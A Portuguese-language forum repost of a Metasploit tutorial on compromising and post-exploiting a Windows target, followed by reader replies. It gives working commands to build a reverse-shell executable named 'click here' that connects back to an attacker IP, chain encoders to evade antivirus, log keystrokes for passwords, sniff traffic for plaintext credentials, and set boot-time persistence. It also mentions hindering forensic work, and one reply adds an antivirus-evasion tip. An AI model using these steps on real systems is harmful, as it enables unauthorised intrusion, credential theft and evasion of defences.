Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Metasploit Exploitation

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Artigo Metasploit Exploitation

    Metasploit é uma ferramenta utilizada, em sua maior parte, por Pen Testers, para a realização de testes de penetração (penetration test), podendo ser usada pelas mais variadas áreas, para fins de testes, análises, conhecimento etc. Este artigo visa demonstrar algumas formas de uso para a pós-exploração de um alvo, usando o framework Metasploit, este que se encontra em sua versão 3.3.4-dev.
    Por: Roberto Soares (3spreto)

    Metasploit Exploitation
    Metasploit é uma ferramenta utilizada, em sua maior parte, por Pen Testers, para a realização de testes de penetração (penetration test), podendo ser usada pelas mais variadas áreas, para fins de testes, análises, conhecimento etc. Este artigo visa demonstrar algumas formas de uso para a pós-exploração de um alvo, usando o framework Metasploit, este que se encontra em sua versão 3.3.4-dev.

    Recomendo para este artigo um conhecimento prévio sobre o framework, linha de comando em Linux, redes de computadores, TCP/IP etc.

    O cenário utilizado para a criação deste artigo é mostrado na figura a baixo.



    Descrição:

    * Attacker = De onde partiram os ataques
    * Roteador1 = Roteador da rede local do atacante
    * XX.XX.XX.XX = IP WAN
    * YY.YY.YY.YY = IP WAN
    * Roteador2 = Roteador da rede local do alvo
    * 10.0.0.0/8 = Classe utilizada na rede interna do alvo


    Obs.: Ficar atento ao redirecionamento das portas no roteador para a máquina atacante.

    Nota: Em seus testes não há a necessidade de utilizar as mesmas classes de IPs e quantidades de máquinas utilizadas neste exemplo, fica a seu critério a alteração dos mesmos.

    Dica: Com 2 máquinas reais e softwares de virtualização instalada em ambos, você conseguirá montar o cenário acima proposto.

    Começando
    Assumirei que você já tenha estabelecido uma sessão meterpreter com pelo 1 máquina na rede alvo.

    Ah, ainda não? E não sabe como fazer? Ok! Sem problemas, irei demonstrar uma simples técnica apenas para ganharmos a sessão meterpreter e assim podermos continuar com nosso artigo.

    Entre no diretório do MSF com o seguinte comando:

    # cd /pentest/exploits/framework3/


    Ok! Antes de continuarmos, é sempre bom mantermos o metasploit atualizado, sendo assim, como já estamos no diretório do msf, basta o comando "svn update" para atualizarmos o MSF.

    # svn update

    Com o msf atualizado, iremos criar o payload que enviaremos para o nosso alvo. Prosseguimos com o seguinte comando:

    # ./msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 X > cliqueaqui.exe

    Será criado no diretório corrente o arquivo executável "cliqueaqui.exe", agora basta enviar para o alvo e aguardá-lo clicar para execução, certo?

    NÃO, não está certo! E os antivírus? Com este simples payload que criamos, o AV, detectará assim que ele por os "pés" no alvo!

    Se enviarmos o arquivo criado acima "cliqueaqui.exe" para uma análise online com vários AVs, veremos que muitos o detectam.

    Utilizei o site Vírus Total para a verificação online do arquivo, veja a imagem abaixo que dos 40 AVs existentes no site, apenas 13 identificam o nosso arquivo "cliqueaqui.exe".



    Veja também no site Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... , neste, dos 20 scanners, 7 detectam o arquivo.


    Sendo assim, vamos "tunar" nosso arquivo cliqueaqui.exe. Digite o seguinte comando:

    # ./msfpayload windows/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4455 R | ./msfencode -c 15 -e x86/shikata_ga_nai -a x86 -t raw | ./msfencode -c 5 -a x86 -e x86/alpha_mixed -t raw | ./msfencode -c 3 -e x86/call4_dword_xor -t exe > cliqueaqui2.exe

    Obs.:
    1. Troquem XX.XX.XX.XX pelo IP WAN do seu roteador!
    2. Lembrando que o comando acima não é a melhor prática para burlar AV! A opção -c diz quantas vezes cada encoder irá interagir com o nosso payload, nos dias de hoje, isso já não adianta muito, demonstrado apenas para ver as possibilidades de se redirecionar a saída de um encoder para outro.

    Pronto, agora podemos ver que já diminuímos a quantidade de AVs que estavam detectando nosso arquivo, como pode ser visto na figura abaixo.



    Concluído a criação do nosso payload, agora vamos para a próxima fase.

    NOTA: Não entrarei em detalhes nas opções usadas acima a princípio, assim que possível explicarei os opções novamente com outro artigo mais detalhado neste quesito.

    Dica: Aqui foi usado um simples payload reverso para conseguirmos estabelecer a sessão meterpreter. Mas poderiam ser utilizados outras técnicas, como envio de arquivo pdf com código malicioso, uma imagem jpeg, um arquivo doc usando engenharia social fazendo com que a vítima execute outros arquivos etc. Fica para um próximo artigo.

    Usem a imaginação!

    DICA: Gaste algum tempo na leitura das opções dos comandos usados acima.

    # ./msfpayload -h
    # ./msfencode -h
    # ./msfencode -l


    Obs.: Vou considerar que vocês criaram um ambiente virtual para os testes, sendo assim, não há a necessidade de aprofundar (não agora!) em criação de payloads e tal, na máquina virtual vocês podem desabilitar o AV e executar o primeiro payload que criamos, assim será criada a sessão entre o atacante e o alvo normalmente.

    Console Metasploit
    Agora que criamos nosso arquivo "cliqueaqui2.exe" e enviamos ao alvo, precisamos deixar nosso msf "escutando" as conexões, esperando a execução do nosso arquivo no alvo. Para isso dê os seguintes comandos no console do metasploit:

    msf> use exploit/multi/handler
    msf> set PAYLOAD Windows/meterpreter/reverse_tcp
    msf> set LHOST 192.168.0.110
    msf> set LPORT 4455
    msf> exploit

    Veja os comandos na imagem abaixo:


    Ao ser executado o nosso arquivo no computador da vítima, será estabelecida uma conexão entre o atacante e o alvo. Assim ganhamos nossa shell meterpreter. Veja imagem abaixo.



    Aparentemente parece que está travado, mas não está! Repare que a sessão meterpreter já foi criada, sendo assim, pressionamos Ctrl+C para finalizar este "travamento".

    Agora digite o comando "sessions -l", como abaixo.



    Temos uma sessão ativa com ID de número 1 identificando-a. Veja que aparentemente conectamos do IP da nossa máquina local (192.168.0.110) com o IP WAN do roteador2 (YY.YY.YY.YY).

    Agora vamos interagir com o console meterpreter, basta o comando "sessions -i 1" como mostrado abaixo.



    Yes! Agora sim, vamos começar o artigo!

    Meterpreter
    O meterpreter supera as limitações e fornece várias APIs que permitem ao atacante executar diversos ataques de exploração no shell meterpreter, podendo ir mais a fundo e descobrindo o máximo possível de informações do alvo e da rede interna. Meterpreter proporciona uma enorme flexibilidade para o processo de pós-exploração, deixando-o até escrever seus próprios scripts meterpreter.

    Bom, chega de blá blá blá!!!

    Como estamos executando em cima do processo "cliqueaqui2.exe", precisamos migrar para um processo mais estável, onde um usuário dificilmente irá ver onde estamos!



    Agora vejamos no console meterpreter o processo que estamos com o comando getpid, seguido do comando ps.



    Agora vamos migrar para o processo explorer.exe com o comando migrate. Repare na imagem acima o PID do processo explorer.exe.



    Ok! Deseja ver a versão do Windows que você está atacando? Simples, dê o comando sysinfo.



    Agora vejamos o IP da máquina que estamos executando com o comando ipconfig.



    Comandos simples até agora, se quiser ver os comandos disponíveis para uso no console meterpreter, basta executar o comando help ou simplesmente "?".



    Avançando com Meterpreter
    Agora vamos usar o keylogging e vamos tentar capturar o máximo das teclas digitadas pelo usuário. Está é uma técnica demorada para retorno de informações e consome muito tempo, eu aconselho usa-lá após ter retirado o máximo de informações do alvo e também depois da instalação de algum backdoor, para que assim, caso o usuário desligue ou reinicie a máquina, consigamos voltar a acessá-la posteriormente.

    Com o comando keyscan_start iniciamos o nosso keylogger, agora só esperar um tempo e ver os resultados.





    Agora vamos ver o que nosso keylogger pegou com o comando keyscan_dump e logo em seguida finalizo o mesmo.



    Repare na imagem acima que foi capturado o meu e-mail (meulogin) e minha senha (minhasenha).

    Sniffing
    Vamos sniffar o que passa pela nossa interface do alvo e ver o que conseguimos pegar de interessante.

    Primeiramente precisamos carregar o módulo sniffer com o comando use sniffer, em seguida, pedimos para listar as interfaces de rede com o comando sniffer_interfaces. Iremos iniciar nosso sniffer nesta interface indicada pelo número 1 com o comando "sniffer_start 1", podemos esperar o tempo que você achar conveniente.

    Já foi tomar uma água? Uma cerveja? Tomou banho? Não? Ok! Não faz mal, vou salvar o que ele farejou até agora em um arquivo com extensão .cap, com o nome de sniffer, com o comando "sniffer_dump 1 /tmp/sniffer.cap", para eu poder analisá-lo com outra ferramenta mais intuitiva, e logo após, encerro o sniffing.



    Vejamos algumas informações sobre o arquivo sniffer.cap usando o capinfos.



    Vamos analisar o arquivo sniffer.cap com a ferramenta Wireshark. Basta abrir o Wireshark e ir em File > Open e apontar para o arquivo sniffer.cap.



    Agora veja a interface do Wireshark já com o arquivo sniffer.cap carregado. E as senhas em plaint-text heim? Perigooo!!! :|



    Ah! Você não gosta do Wireshark ou não quer usá-lo agora? Prefere o tcpdump? No problem! Vamos analisar o arquivo sniffer.cap com o tcpdump então, oras!!!

    # tcpdump -n -r sniffer.cap

    Se quiser ver as primeiras 10 linhas do arquivo, basta adicionar "| head -n 10" na frente do comando acima.

    # tcpdump -n -r sniffer.cap | head -n 10


    Vamos continuar com o sniffer, só que agora executando com o modo interativo do ruby, basta executar o comando irb e voilà!



    Seria interessante, para uma melhor compreensão, ter noções básicas da linguagem ruby. Como o modo interativo está "doido" para trabalhar, vamos lá.

    Um pouco acima, quando executamos o comando use sniffer, por trás dos panos (ou cortinas!), estava executando a seguinte chamada API, client.core.use("sniffer") e quando executamos o comando sniffer_interfaces, estávamos invocando (sai capeta!) a chamada API, client.sniffer.interfaces().

    Veja e compare as saídas abaixo.



    Olhe a imagem acima e repare que ao passar para o irb a chamada client.core.use("sniffer"), ele nos retorna true, nos confirmando que foi carregado com êxito. E quando passamos a chamada client.sniffer.interfaces(), nos retorna informações sobre a nossa interface, repare as saídas de ambas as saídas.

    E a chamada para iniciarmos o sniffing? Cadê? Calma, está aqui! A chamada API é client.sniffer.capture_start(intf, maxp), vemos que a chamada aceita dois valores, intf é a identificação da interface, repare na imagem acima que conseguimos saber este valor executando a chamada client.sniffer.interfaces(), onde pegamos o valor de "idx". E o valor de maxp, é a quantidade máxima de pacotes que iremos armazenar no buffer. Ambos deverão ser valores inteiros.

    Logo em seguida com a chamada client.sniffer.capture_stats(1) vemos o quanto já conseguimos snifar até o momento!



    Hora de analisar o que farejamos não? Ohh Yes! Lembra quando executamos o comando sniffer_dump? Pois é, agora vamos executar a sua chamada API que é identificada por client.sniffer.capture_dump(intf), nesta chamada obtemos do buffer as informações e já apagando-a, par ler os dados precisamos invocar o espírito do... Ops! Me empolguei! Como dizia, precisamos da chamada client.sniffer.capture_dump_read(intf,1024*512).



    Ok, já vimos como funciona mais ou menos internamente, agora podemos parar nosso sniffing com a chamada client.sniffer.capture_stop(1), passando a identificação do nossa interface, que equivale ao comando sniffer_stop 1.



    Poxa! Vamos parar de "cheirar" agora (isto me lembra um jogador famoso, deixa pra lá!).

    Mantendo acesso
    Pois bem, até aqui está indo as mil maravilhas certo? Não! Está indo mais ou menos, e se a pessoa reiniciar ou até mesmo desligar a máquina destino? Bom, vamos querer continuar com acesso a ela para que posteriormente possamos obter mais informações ainda. Para isso existe um script meterpreter que nos ajudará fazer o que queremos, seu nome é persistence! Muito prazer senhor Persistence! :P

    Para que possamos manter o acesso com a máquina alvo, precisamos executar o seguinte comando no console meterpreter mostrado logo abaixo, este script é super difícil de utilizá-lo!

    meterpreter> run persistence -X

    Está vendo que dificuldade você terá pra conseguir manter o acesso com a máquina? Brincadeiras a parte, vamos à explicação!



    O comando acima criará um arquivo executável na maquina destino, a opção -X serve para que o arquivo criado seja executado durante o boot da máquina destino, vejam onboot=true. Repare na saída do comando o endereço IP local da máquina do atacante e que ela escutará na porta 4444, que é a padrão, podemos alterar a porta padrão para outra que nos convenha usando a opção -p seguido do número da porta, exemplo, -p 5555.

    Veja que foi feito o upload do executável em C:\DOCUME~1\espreto\CONFIG~1\Temp\RVcLLgpYIYS.vbs e foi identificado com o PID 1052, vejam a saída do comando ps, e observem que foi criado com o nome wscript.exe.

    E em seguida foi criado um arquivo autorun na seguinte chave do registro HKLM\Software\Microsoft\Windows\CurrentVersion\Run \yjvpnmqbcAXmWU.

    Para testarmos, feche a janela do nosso console msf e abra-a novamente, vamos configurar o exploit multi/handler para ficar aguardando pela conexão. Se você estiver utilizando uma máquina real ou virtual como alvo, desligue-a.



    Conforme a imagem acima, agora ligue a máquina que estávamos atacando e espere alguns instantes para que possamos ganhar nossa shell meterpreter.



    Ok! Temos nossa shell novamente e podemos continuar nossa exploração.

    PrintScreen
    Outro recurso legal que o meterpreter nos oferece é a possibilidade de tirarmos um printscreen da máquina destino, assim podemos ver o que a nossa vítima está fazendo naquele momento, não tão interessante, mais dá pra dar umas boas risadas!

    Este é outro script extremamente difícil de usar. Reparem logo abaixo. :P



    Usamos o comando use espia, para carregar o módulo meterpreter e em seguida executamos o comando screenshot seguido pelo caminho onde será salvo nosso screenshot com o nome de print1.png. Viram a dificuldade? Hehehe! Vejam a saída da imagem abaixo!



    Olha o marketing ae! Onde? Cadê? Hehehe!

    NOTA: Para poder usar este recurso será necessário estar executando sob o processo explorer.exe, sendo assim migre para este processo caso não esteja, com o comando migrate. Demonstrei acima como fazer isso!

    Conclusão
    Como havia mencionado, o meterpreter oferece uma enorme flexibilidade para a pós-exploração, aqui neste artigo, escrevi algumas de suas particularidades. Poderia escrever um livro enorme sobre todas as possibilidades de uso para o framework (quem sabe!).

    De posse da shell meterpreter existem diversos recursos que podemos utilizar para explorar ainda mais todos os recursos da rede, como explorar outros computadores da rede a partir deste que estamos, habilitar o recurso de RDP (Remote Desktop Protocol), instalação de backdoors mais sofisticados, capturar hashs, dificultar o trabalho de perícia forense (show!), entre várias outras possibilidades.

    Referências
    Possíveis referências para quem estiver começando no "mundo"!

    Referências.

    1. Metasploit
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    2. Pen Tester
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Fonte: vivaolinux
    Postado Por: RedDeviL

  • Font Size
    #2
    Adorei esse Post !

    OBRIGADUuUu !
    Te Ajudei, Gostou do Post. Agradeça Não Custa Nada !

    sigpic

    Comment


    • Font Size
      #3
      Mega tutorial mano . alem de conhecer poco sobre o metasploit(ainda), eu gosto muito dele, Vlwss

      Comment


      • Font Size
        #4
        Very Nice RedDeviL !!
        Otimo artigo, são artigos assim que eu particularmente gosto de ler, grande porem bem atrativo, organizado e com prints, e ainda bem humoristico!

        (Poxa! Vamos parar de "cheirar" agora (isto me lembra um jogador famoso, deixa pra lá!) Não consegui ficar sem dar umas boas gargalhadas.... kkkkk

        Agora um comentario pratico: uma forma de deixar o arquivo "cliqueaqui.exe" menos detectavel é mudando o seu EP (Entry Point) usando Olly Debugger.

        Comment


        • Font Size
          #5
          Nossa valeu pelo post manow , eu fiz td certim , no backtrack 5 em maquina virtual , mas hora que eu coloco pra escutar as conexoes , aparece "handler failed to bind to "MEU IP LOCAL:4455" "

          Tem que abrir alguma porta no meu roteador ?

          Comment

          X
          Working...
          X